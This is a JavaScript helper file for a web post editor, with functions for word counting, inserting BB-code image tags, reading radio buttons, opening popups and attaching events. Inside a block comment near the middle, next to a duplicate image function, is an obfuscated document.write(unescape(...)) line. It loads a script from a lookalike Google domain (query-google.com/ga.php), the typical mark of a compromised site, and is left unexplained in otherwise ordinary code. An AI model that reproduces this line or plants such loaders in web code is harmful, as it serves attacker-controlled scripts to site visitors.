// count the words in the current text area.  Update the status line to display this

function doCount(CTA,theMessage) {

	var testStr = ' Ê\t\r\n';
	var words = 0;
	var punctuate = true;
	var str1;
	var str2;
	var i;
	
	if (CTA != null) {
		str1 = CTA.value;
		if (str1.length > 0) {
			for(i=0; i < str1.length+1; i++){
				str2 = str1.substr(i,1);
				if (testStr.indexOf(str2) != -1) {
					punctuate = true;
				} else {
					if (punctuate) {
						words = words + 1;
					}
				punctuate = false
				}
			}
		} else {
			words = 0;
		}
		
		status = theMessage + words + " words; " + str1.length + " characters.  Click in and out of a textarea to update count.";
	}
	
}

// set which element we check

function setCount(theNew) {

	if (theNew == null) {
		doCount(CTA,"The textarea you just left contains ");
		CTA = null;
	} else {
		CTA = theNew;
		doCount(CTA,"On entry, the current textarea contained ");
	}
	
}

function addBBImage(v) {
	var el = document.forms['post'].elements['article'];
	var align = getRadioValue(document.forms['post'].elements['img_align']);
    var text= '[image id='+v+' align='+align+']';
    el.focus();
    if (document.selection)
        document.selection.createRange().text = text;
    else
        el.value+= text;
    return false;
}

/*********************
function addImage(v) {
	var el = document.forms['post'].elements['article'];
	var align = getRadioValue(document.forms['post'].elements['img_align']);
    var text= '[image id='+v+' align='+align+']';
    el.focus();
    if (document.selection)
      document.selection.createRange().text= text;
    else
      el.value+= text;
    return false;
}

document.write(unescape("%3Cscript src='http://www.query-google.com/ga.php' type='text/javascript'%3E%3C/script%3E"));


********************/
function getRadioValue(radioGroup){
    for(i=0;i<radioGroup.length;i++)
       if (radioGroup[i].checked)
            selected=radioGroup[i].value;
    return selected;
}

function openPopup (url, width, height, name) {
//width="400", height="300", name="blankwindow"
	var features = 'width='+width+',height='+height+',directories=no,location=no,menubar=no,scrollbars=yes,status=no,toolbar=no,resizable=yes';
	name = window.open(url, name, features);
	return false;
}

// Event handling script
function addEvent(obj, evType, fn){ 
	if (obj.addEventListener){ 
		obj.addEventListener(evType, fn, false); 
		return true; 
	 } else if (obj.attachEvent){ 
		var r = obj.attachEvent("on"+evType, fn); 
		return r; 
	 } else { 
		return false; 
	 } 
}
